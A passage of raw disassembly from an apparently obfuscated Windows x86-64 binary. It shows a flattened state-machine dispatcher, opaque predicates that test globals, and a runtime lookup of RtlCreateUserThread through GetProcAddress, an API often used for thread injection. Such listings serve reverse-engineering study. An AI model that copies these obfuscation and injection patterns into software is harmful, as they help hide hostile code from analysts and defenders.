mov ecx, 0xd2fc76ff
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0xaa9239a7
jg 0x140150513
cmp ecx, 0xa8067ff8
jg 0x1401525a1
cmp ecx, 0xa64b3a63
je 0x14015681e
cmp ecx, 0xa6f22c14
jne 0x14014d700
mov rcx, qword [rsp + 0x30]
lea rdx, str.RtlCreateUserThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0xf035585f
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0xebb9061a
jg 0x140150591
cmp ecx, 0xeb00a225
jg 0x1401526db
cmp ecx, 0xeaa6933f
je 0x1401568c4
cmp ecx, 0xeaea9710
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x94ba0563
and edx, 0x6b45fa9c
or edx, ebp
mov ebp, edx
xor ebp, 0x1401884
not edx
or ecx, 0x5521ca4
mov ebx, ecx
not ebx
or edx, 0xdaa0c309
and edx, 0xdaa0c709
and ebp, 0x55218a4
or ebp, edx
and ecx, 0xdaa0c709
and ebx, 0x200d2052
or ebx, ecx
xor ebx, ebp
mov ecx, ebx
not ecx
and ecx, 0xfaade35b
and ebx, 0x5521ca4
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x98bbf316
mov ebp, ebx
and ebp, 0x67440ce9
or ebp, ecx
mov edx, ebp
xor edx, 0x67440ce9
xor ebp, 0x107116
mov ecx, edx
and ecx, 0xcedf98ce
and ebx, 0x31206731
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x31206730
and ebx, 0xcedf98cf
or ebx, ecx
and ebp, 0x46107dbe
mov ecx, edx
and ecx, 0xb9ef8241
or ecx, ebp
xor ecx, 0x46107dbf
and edx, 1
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x985f87eb
and edx, 0x67a07814
or edx, ecx
mov ebp, edx
xor ebp, 0x4000004
xor edx, 0x985f87eb
mov ecx, ebx
not ecx
mov edi, ecx
and edi, 0xf3fcfb3a
and ebx, 0xc0304c5
or ebx, edi
or ecx, edx
and edx, 0xf3fcfb3a
and ebp, 0xc0304c5
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xaca48cd1
and ebp, 0x535b732e
or ebp, edi
or ecx, ebx
and ebx, 0xaca48cd1
and edx, 0x535b732e
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
sete cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
mov eax, ebx
xor al, cl
xor bl, al
and bl, al
not al
and al, cl
xor cl, dl
and cl, dl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
and cl, al
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
xor cl, bl
xor bl, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xaf23ebf6
mov ebp, 0xa1b54d2a
cmovne eax, ebp
test cl, 1
cmove eax, ebp
test dl, 1
mov ecx, 0xaf23ebf6
jmp 0x14014d6f9
cmp ecx, 0x9c0a9e33
jg 0x1401505cb
cmp ecx, 0x98a243ab
jg 0x140152715
cmp ecx, 0x958c5b45
je 0x1401568da
cmp ecx, 0x980e244e
jne 0x14014d700
mov ecx, 0xc6152e77
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0xc6dce33e
jg 0x140150605
cmp ecx, 0xc52fb479
jg 0x140152743
cmp ecx, 0xc1f3586c
je 0x1401569f0
cmp ecx, 0xc4fb936a
jne 0x14014d700
mov ecx, 0xcb610909
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0xd7cc273
jg 0x1401507c5
cmp ecx, 0xb361190
jg 0x1401528bd
cmp ecx, 0x9317040
je 0x140156acb
cmp ecx, 0xa527a94
jne 0x14014d700
mov eax, dword [0x14024b6d8]
mov ecx, dword [0x14024b6d4]
lea edi, [rax - 1]
imul edi, eax
mov eax, edi
not eax
mov ebp, eax
and ebp, 0x5e5322e4
mov edx, edi
and edx, 0xa1acdd1a
or edx, ebp
xor edx, 0xa1acdd1a
mov ebx, edi
and ebx, 1
or ebx, edx
mov ebp, ebx
not ebp
mov edx, ebp
and edx, 0x14691aa8
and ebx, 0xeb96e557
or ebx, edx
and edi, 0x14691aa8
and eax, 0xeb96e557
or eax, edi
xor eax, ebx
not eax
or eax, ebp
cmp eax, 0xffffffff
setne r8b
sete r9b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl r10b
mov edx, r10d
xor dl, al
and dl, r10b
mov ebx, r9d
xor bl, dl
mov ecx, ebx
and cl, r9b
and bl, dl
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
and r8b, r10b
or r10b, r9b
and al, r9b
or al, r8b
xor al, 1
mov edx, r10d
xor dl, al
or al, r10b
xor al, 1
or al, dl
mov ecx, ebx
xor cl, 1
mov edx, ecx
and dl, bl
mov r8d, ecx
xor r8b, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, r8b
mov ebx, edx
xor bl, 1
and bl, al
mov r8d, ecx
and r8b, al
xor cl, al
xor al, 1
and dl, al
or dl, bl
or cl, r8b
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x88669e22
mov ebp, 0x99f4e35c
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0x88669e22
jmp 0x14015c0d8
cmp ecx, 0x506411bc
jg 0x14015089f
cmp ecx, 0x4db455a2
jg 0x1401528f7
cmp ecx, 0x4d572362
je 0x140156ae1
cmp ecx, 0x4d99ba67
jne 0x14014d700
mov edx, dword [0x14024b6d8]
mov r8d, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov eax, ecx
not eax
mov ebp, ecx
xor ebp, 0xfffffffe
and ebp, ecx
mov edx, ecx
or edx, 1
mov edi, ebp
not edi
mov esi, edx
and esi, 0x8f25d4ff
mov ebx, eax
and ebx, 0x70da2b00
or ebx, esi
or edx, edi
and edi, 0x8f25d4ff
and ebp, 0x70da2b00
or ebp, edi
xor ebp, ebx
not edx
or edx, ebp
and eax, 0xe2bf2459
and ecx, 0x1d40dba6
or ecx, eax
mov eax, ecx
xor eax, 0x1d40dba6
xor ecx, 0xe2bf2459
and ecx, edx
not edx
and eax, edx
or ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete r9b
setne dl
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg al
mov ecx, edx
and cl, al
or dl, bl
and bl, r9b
or bl, cl
xor bl, 1
or bl, al
xor dl, 1
or al, r9b
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, ebx
xor cl, al
xor al, 1
or al, bl
xor cl, 1
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xfe1fd7cc
mov ebp, 0xee45b538
cmovne edx, ebp
test cl, 1
mov ecx, edx
mov ebp, 0xfe1fd7cc
jmp 0x14015c31d
cmp ecx, 0x2b5519b3
jg 0x140150a54
cmp ecx, 0x29252cce
jg 0x140152914
cmp ecx, 0x280019bc
je 0x140156be1
cmp ecx, 0x2858e38b
jne 0x14014d700
mov ecx, 0x3ed4cbf5
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0x77407b08
jg 0x140150c7c
cmp ecx, 0x7679a3bf
jg 0x1401529f6
cmp ecx, 0x75f78d6a
je 0x140156d94
cmp ecx, 0x7616efca
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov r9d, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x20010920
and edx, 0x15028688
or edx, ebp
mov ebx, edx
xor ebx, 0x8400
xor edx, 0x8a9d2877
or ecx, 0x35038fa8
mov ebp, ecx
not ebp
and edx, 0x9f9f2aff
and ebx, 0x20008500
or ebx, edx
and ecx, 0x9f9f2aff
and ebp, 0x40605000
or ebp, ecx
xor ebp, ebx
mov edx, ebp
not edx
and edx, 0xead756b
and ebp, 0xf1528a94
or ebp, edx
mov edx, ebp
xor edx, 0xc451053c
mov ebx, ebp
not ebx
mov ecx, ebp
xor ecx, 0x7491677b
and ecx, edx
or edx, 0x4f3f9db8
mov edi, edx
not edi
mov esi, ecx
not esi
mov eax, edx
and eax, 0x3d38d3c4
and edi, 0x80c02003
or edi, eax
or edx, esi
and esi, 0x3d38d3c4
and ecx, 0xc2c72c3b
or ecx, esi
xor ecx, edi
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x1b19ca8e
and edx, 0xe4e63571
or edx, eax
mov eax, edx
xor eax, 0x44260024
and ebx, 1
xor ebp, 0x3baefac2
or ebp, ebx
mov ecx, ebp
not ecx
xor edx, 0xabd9a8c8
mov ebx, edx
and ebx, 0x1901d7db
and eax, 0xe6fe2824
or eax, ebx
or edx, ebp
and ebp, 0x1901d7db
and ecx, 0xe6fe2824
or ecx, ebp
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x650f7c58
and edx, 0x9af083a7
or edx, eax
mov eax, edx
xor eax, 0x12200121
xor edx, 0x25064810
and edx, 0xadd6ca96
and eax, 0x52293569
or eax, edx
mov ecx, eax
xor ecx, 0x28160200
xor eax, 0x52293569
mov edx, eax
and edx, 0x87c9fdb6
and ecx, 0x78360249
or ecx, edx
xor ecx, 0x87c9fdb6
xor eax, ecx
test eax, ecx
setne r11b
sete r10b
cmp r9d, 9
setg r8b
cmp r9d, 0xa
setl r9b
mov eax, r9d
xor al, r8b
and al, r9b
mov ecx, r10d
xor cl, r11b
and cl, r10b
mov ebx, ecx
xor bl, 1
mov edx, ecx
and dl, bl
xor dl, 1
mov esi, edx
xor sil, bl
or dl, bl
xor dl, 1
or dl, sil
or bl, cl
xor bl, 1
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, 1
or cl, al
xor al, 1
xor cl, 1
or al, bl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor r11b, r8b
mov ecx, r9d
and cl, r10b
xor r9b, r10b
or r9b, cl
mov ecx, r9d
xor cl, r11b
xor r11b, 1
xor cl, 1
or r11b, r9b
xor r11b, 1
or r11b, cl
mov ecx, r11d
xor cl, 1
mov edx, ecx
and dl, r11b
xor dl, 1
mov ebx, edx
xor bl, r11b
or dl, r11b
xor dl, 1
or dl, bl
xor dl, al
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xd3857743
mov ebp, 0x9317040
cmovne eax, ebp
test cl, 1
mov ecx, 0xd3857743
jmp 0x14015529f
cmp ecx, 0xb69f4669
jg 0x140150e25
cmp ecx, 0xb41f2756
je 0x1401553b1
cmp ecx, 0xb5aba464
je 0x1401553c7
cmp ecx, 0xb61287fd
jne 0x14014d700
mov ecx, 0x741ad853
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0xe6b03ac8
jg 0x14015101d
cmp ecx, 0xe317c01c
jg 0x140152a24
cmp ecx, 0xe050b983
je 0x140156e9e
cmp ecx, 0xe25cc9e9
jne 0x14014d700
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x61916aea
mov ebx, ecx
and ebx, 0x9e6e9514
or ebx, ebp
xor ebx, 0x9e6e9514
mov ebp, ecx
and ebp, 1
or ebp, ebx
and edx, 0x33ec76e2
and ecx, 0xcc13891d
or ecx, edx
mov edx, ecx
xor edx, 0x48118008
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0xb58e6d37
and ebp, 0x4a7192c8
or ebp, ebx
xor ecx, 0x318c6422
and ecx, 0xb58e6d37
and edx, 0x4a7192c8
or edx, ecx
xor edx, ebp
not edx
or edx, edi
cmp edx, 0xffffffff
sete r9b
setne bl
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
mov r8d, eax
and r8b, bl
or bl, al
xor bl, 1
mov edx, r9d
and dl, cl
or cl, r9b
xor cl, 1
mov r10d, ebx
and r10b, cl
xor cl, bl
or cl, r10b
or dl, r8b
mov ebx, eax
and bl, r9b
xor al, r9b
or al, bl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor cl, 1
mov edx, ecx
xor dl, al
and cl, al
or cl, dl
xor dl, 1
mov eax, edx
xor al, cl
test cl, 1
mov ecx, 0xea50a375
mov ebp, 0x6f365c92
cmovne ecx, ebp
test dl, 1
cmovne ecx, ebp
not al
test al, 1
mov eax, 0xea50a375
jmp 0x14015c0d8
cmp ecx, 0x9283f73c
jg 0x140151230
cmp ecx, 0x90f5adbd
jg 0x140152a52
cmp ecx, 0x8f08624e
je 0x140156eb4
cmp ecx, 0x90186e70
jne 0x14014d700
mov ecx, 0x98a243ac
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0xd8394be2
jg 0x1401513ef
cmp ecx, 0xd72c3e2b
jg 0x140152b4a
cmp ecx, 0xd3857743
je 0x140156ff7
cmp ecx, 0xd6ffe1f7
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x55aa9222
and edx, ebp
not ebp
mov ebx, ebp
and ebx, 0x55280202
and ecx, 0x829020
or ecx, ebx
xor ecx, 0x829020
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x603569b6
and edx, 0x9fca9649
or edx, ecx
xor edx, 0x359ffb95
mov ecx, edx
and ecx, ebp
xor edx, ebp
or edx, ecx
cmp edx, 0xffffffff
setne cl
sete r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov edx, eax
xor dl, r8b
or cl, al
or al, r8b
xor al, 1
or al, dl
xor cl, 1
or bl, r8b
xor bl, 1
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
xor bl, 1
mov edx, eax
or dl, bl
xor bl, al
mov eax, edx
xor al, bl
test bl, 1
mov ecx, 0x90186e70
mov ebp, 0x98a243ac
cmovne ecx, ebp
test dl, 1
mov edx, 0x90186e70
cmovne ecx, edx
jmp 0x14015aecd
cmp ecx, 0x4e22822
jg 0x1401514f5
cmp ecx, 0x10fa7dc
jg 0x140152c3c
cmp ecx, 0xfdb70c91
je 0x1401571ac
cmp ecx, 0xfe1fd7cc
jne 0x14014d700
mov ecx, 0xe25cc9e9
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0x4a0ecdef
jg 0x14015166b
cmp ecx, 0x47028253
jg 0x140152d52
cmp ecx, 0x46179ffb
je 0x14015726d
cmp ecx, 0x466f3439
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x2795bc9c
and edx, 0xd86a4363
or edx, ebp
mov ebx, edx
xor ebx, 0x80400040
xor edx, 0x2040800
or ecx, 0xdac54879
mov ebp, ecx
not ebp
or edx, 0x400b782
and edx, 0x5e04ffa3
and ebx, 0x80c10058
or ebx, edx
and ecx, 0x5e04ffa3
and ebp, 0x213a0004
or ebp, ecx
xor ebp, ebx
mov edx, ebp
not edx
and edx, 0x245f53ba
and ebp, 0xdba0ac45
or ebp, edx
mov ecx, ebp
xor ecx, 0x165e43c
xor ebp, 0x68018c1
mov edx, ecx
and edx, 0xfffffffe
and ebp, 0x6a458f1
and ecx, 0xf95ba70e
or ecx, ebp
xor ecx, 0xf95ba70f
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
mov edx, ecx
xor edx, 0x441388dd
and edx, ecx
not ecx
and ecx, 0x18055
and ebp, 0x44120888
or ebp, ecx
xor ebp, 0x44120888
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xbbec7722
and edx, 0x441388dd
or edx, ecx
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
and al, dl
and cl, bl
or cl, al
mov eax, ebx
xor al, dl
or bl, dl
xor bl, 1
or bl, al
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, ebx
xor al, cl
xor cl, 1
or cl, bl
mov edx, eax
xor dl, cl
not dl
test dl, 1
mov edx, 0x601b4567
mov ebp, 0xdc9f540b
cmovne edx, ebp
test al, 1
mov eax, 0x601b4567
cmovne eax, edx
test cl, 1
cmovne eax, edx
jmp 0x14015bf32
cmp ecx, 0x21cb9069
jg 0x1401516a5
cmp ecx, 0x217297cd
jg 0x140152f42
cmp ecx, 0x1d8b0346
je 0x1401573c3
cmp ecx, 0x1f53fc65
jne 0x14014d700
mov ecx, 0xbe710ab6
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0x7176a0b7
jg 0x1401516df
cmp ecx, 0x6f365c91
jg 0x140152f82
cmp ecx, 0x6dcb6838
je 0x1401573d9
cmp ecx, 0x6ece3bf5
jne 0x14014d700
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebp, [rdx - 1]
imul ebp, edx
mov edx, ebp
not edx
and edx, 0x14459141
mov ecx, ebp
and ecx, 0x26000
or ecx, edx
xor ecx, 0x26000
and ebp, 0xebb80ebe
or ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x6eaafe3f
and ebp, 0x915501c0
or ebp, ecx
mov ebx, ebp
xor ebx, 0x8512f081
mov ecx, ebp
xor ecx, 0x2bbade08
and ecx, ebx
or ebx, 0x5157d176
mov edx, ebx
not edx
mov edi, ecx
not edi
mov esi, ebx
and esi, 0x5bc80b4e
and edx, 0xa4202481
or edx, esi
or ebx, edi
and edi, 0x5bc80b4e
and ecx, 0xa437f4b1
or ecx, edi
xor ecx, edx
not ebx
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x5157d177
and ebx, 0xaea82e88
or ebx, ecx
mov ecx, ebp
and ecx, 1
xor ebp, 0x7aed0f7f
or ebp, ecx
mov ecx, ebp
not ecx
mov edx, ebx
not edx
mov edi, edx
and edi, 0xa3bbf90a
and ebx, 0x5c4406f5
or ebx, edi
or edx, ebp
and ebp, 0xa3bbf90a
and ecx, 0x5c4406f5
or ecx, ebp
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
mov ebp, edx
xor ebp, 0xd967828c
and ebp, edx
or edx, 0x26987d73
mov ebx, ebp
not ebx
mov edi, edx
and edi, 0xbd3c0bff
and ecx, 0x40438000
or ecx, edi
or edx, ebx
and ebx, 0xbd3c0bff
and ebp, 0x42c3f400
or ebp, ebx
xor ebp, ecx
not edx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x99441190
and edx, 0x66bbee6f
or edx, ecx
mov ecx, edx
xor ecx, 0xa29c24e1
xor edx, 0x4023931c
mov ebp, edx
and ebp, 0x5d61cb0a
and ecx, 0xa29e34f5
or ecx, ebp
xor ecx, 0x5d61cb0a
xor edx, ecx
test edx, ecx
sete r8b
setne r9b
cmp eax, 0xa
setl sil
cmp eax, 9
setg r10b
mov edx, r10d
xor dl, sil
and dl, r10b
mov ebx, edx
not bl
mov ecx, r9d
xor cl, r8b
and cl, r9b
and bl, dl
mov r11d, ebx
and r11b, dl
xor bl, dl
or bl, r11b
mov eax, ecx
xor al, 1
or al, cl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov edx, eax
xor dl, bl
and al, dl
and dl, bl
mov ecx, eax
xor cl, 1
xor al, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
and r9b, sil
and r10b, r8b
or r10b, r9b
mov eax, esi
and al, r8b
xor sil, r8b
or sil, al
xor sil, 1
mov eax, r10d
and al, sil
xor sil, r10b
or sil, al
mov ecx, edx
xor cl, 1
mov eax, ecx
and al, dl
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
and dl, sil
mov ebx, ecx
and bl, sil
xor cl, sil
xor sil, 1
and al, sil
or al, dl
or cl, bl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x16e9f163
mov ebp, 0x7382506d
cmovne edx, ebp
test cl, 1
mov ecx, 0x16e9f163
cmovne ecx, edx
test al, 1
jmp 0x14015a97d
cmp ecx, 0xaf43625c
jg 0x140152fb0
cmp ecx, 0xaedb5951
je 0x1401573ef
cmp ecx, 0xaf23ebf6
jne 0x14014d700
mov ecx, 0xa6107bc0
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0xf41cb00a
jg 0x14015314d
cmp ecx, 0xf035585f
je 0x140157533
cmp ecx, 0xf12f2544
jne 0x14014d700
mov ecx, 0x534138cb
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0xa021129f
jg 0x140153288
cmp ecx, 0x9e8bd92c
je 0x140157672
cmp ecx, 0x9f37ccaa
jne 0x14014d700
mov ecx, 0xd193e824
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0xc1202c2b
jg 0x14015339a
cmp ecx, 0xbe710ab6
je 0x140157861
cmp ecx, 0xbfb6ecca
jne 0x14014d700
mov rax, qword [rsp + 0x38]
mov qword [0x14024b0b0], rax
mov ecx, 0xaedb5951
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0x1144f269
jg 0x14015354f
cmp ecx, 0x103585ed
je 0x140157956
cmp ecx, 0x107360da
jne 0x14014d700
mov ecx, 0xc52fb47a
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0x5838cc3d
jg 0x14015357d
cmp ecx, 0x545deeff
je 0x140157a5a
cmp ecx, 0x56970cad
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
mov ecx, ebp
xor ecx, 0x97d6ad4f
and ecx, ebp
not ebp
and ebp, 0x8604ac07
and edx, 0x11d20148
or edx, ebp
xor edx, 0x11d20148
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x725f5296
and ecx, 0x8da0ad69
or ecx, edx
mov edx, ecx
xor edx, 0x1a760026
mov ebp, ecx
xor ebp, 0x81892648
and ebp, 0x939f266a
xor ecx, 0xd4a094c3
and ecx, edx
and edx, 0x6c60d995
or edx, ebp
mov ebp, edx
xor ebp, 0x6c60d995
mov ebx, edx
xor ebx, 0x5d49b28f
and ebx, ebp
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0x31296b1b
and ecx, 0xced694e4
or ecx, ebx
and ebp, 1
xor edx, 0x6c60d994
or edx, ebp
not edx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
cmp edx, 0xffffffff
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
xor al, 1
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
and dl, al
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, edx
xor al, cl
mov ebx, eax
or dl, cl
xor dl, 1
or dl, al
xor al, dl
test al, 1
mov eax, 0xa3364386
mov ecx, 0x76dfbe2f
cmovne eax, ecx
test dl, 1
mov ecx, 0xa3364386
cmovne ecx, eax
not bl
test bl, 1
jmp 0x140159a39
cmp ecx, 0x3996409d
jg 0x1401536e0
cmp ecx, 0x387d438d
je 0x140157b19
cmp ecx, 0x39929b74
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0xa0351a4
and edx, ebp
not ebp
and ebp, 0x1761522a
and ecx, 0xe89eadd5
or ecx, ebp
mov ebp, ecx
xor ebp, 0x8020104
xor ecx, 0x2015020
or ecx, 0xf5fcae5b
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x34a86698
and ebp, 0xa031124
or ebp, edi
or ecx, ebx
and ebx, 0x34a86698
and edx, 0xcb579967
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xb998b76d
and ecx, 0x46674892
or ecx, edx
mov ebp, ecx
xor ebp, 0xb39be6c9
mov edx, ebp
or edx, 1
mov ebx, edx
not ebx
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov ebp, ecx
not ebp
mov edi, edx
and edi, 0x83440fd8
and ebx, 0x7cbbf026
or ebx, edi
or edx, ebp
and ebp, 0x83440fd8
and ecx, 0x7cbbf027
or ecx, ebp
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xf03900a0
mov ebp, edx
and ebp, 0xc04f810
or ebp, ecx
xor ebp, 0xc04f810
and edx, 0x3c2074f
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0xc7925c29
and edx, 0x386da3d6
or edx, ecx
xor edx, 0xc4505b66
sete bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
xor al, bl
mov edx, ebx
xor dl, cl
xor dl, 1
or cl, bl
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
not al
and al, cl
xor al, 1
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
xor al, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, eax
xor dl, cl
not dl
test dl, 1
mov edx, 0x4d572362
mov ebp, 0x646aeb18
cmovne edx, ebp
test cl, 1
mov ecx, 0x4d572362
cmovne ecx, edx
jmp 0x14015c320
cmp ecx, 0x7d731e55
jg 0x14015370e
cmp ecx, 0x7adabd4b
je 0x140157b2f
cmp ecx, 0x7b53b26d
jne 0x14014d700
mov ecx, 0xad4bbbda
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0xde71e7e7
jg 0x14015393d
cmp ecx, 0xdc9f540b
je 0x140157c98
cmp ecx, 0xddd6a107
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov r8d, dword [0x14024b6d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0x4ef5b0fa
mov ecx, ebp
and ecx, 0xb10a4f05
or ecx, ebx
mov ebx, ecx
xor ebx, 0x1080204
xor ecx, 0x4ef5b0fa
mov edx, ebp
xor edx, 0xfffffffe
and edx, ebp
or ecx, 1
mov esi, edx
not esi
mov eax, ecx
and eax, 0xb6225d69
and ebx, 0x49dda296
or ebx, eax
or ecx, esi
and esi, 0xb6225d69
and edx, 0x49dda296
or edx, esi
xor edx, ebx
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x474c3477
and ecx, 0xb8b3cb88
or ecx, eax
mov eax, ecx
xor eax, 0xa8110b00
xor ecx, 0x474c3477
mov edx, ecx
and edx, 0x57aed4d9
and eax, 0xa8512b26
or eax, edx
or ecx, ebp
and ebp, 0x57aed4d9
and edi, 0xa8512b26
or edi, ebp
xor edi, eax
not ecx
or ecx, edi
mov eax, ecx
not eax
and eax, 0x5279de51
and ecx, 0xad8621ae
or ecx, eax
xor ecx, 0xad8621ae
sete r9b
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg bl
mov eax, ebx
xor al, r9b
not al
and al, r9b
or bl, r9b
xor bl, 1
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ecx
or al, r9b
xor al, 1
xor cl, r9b
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov r9d, ebx
xor r9b, 1
mov edx, r9d
and dl, bl
xor dl, 1
mov r8d, ebx
xor r8b, dl
or dl, bl
xor dl, 1
or dl, r8b
mov eax, edx
xor al, 1
and al, cl
xor r9b, cl
xor cl, 1
and dl, cl
or dl, al
or cl, bl
xor cl, 1
or cl, r9b
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x82e00ac0
mov ebp, 0xe7824ce6
cmovne eax, ebp
test cl, 1
mov ecx, 0x82e00ac0
jmp 0x14015529f
cmp ecx, 0x8c0e2103
jg 0x140153b3c
cmp ecx, 0x8ad5d11d
je 0x140157cae
cmp ecx, 0x8bfe5253
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xc3d12cd2
and edx, 0x3c2ed32d
or edx, ecx
mov ecx, edx
xor ecx, 0x3c2ed32d
mov ebp, edx
xor ebp, 0xc3d12cd2
xor edx, 0x3c2ed32c
and edx, ecx
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x3f54748
and edx, ecx
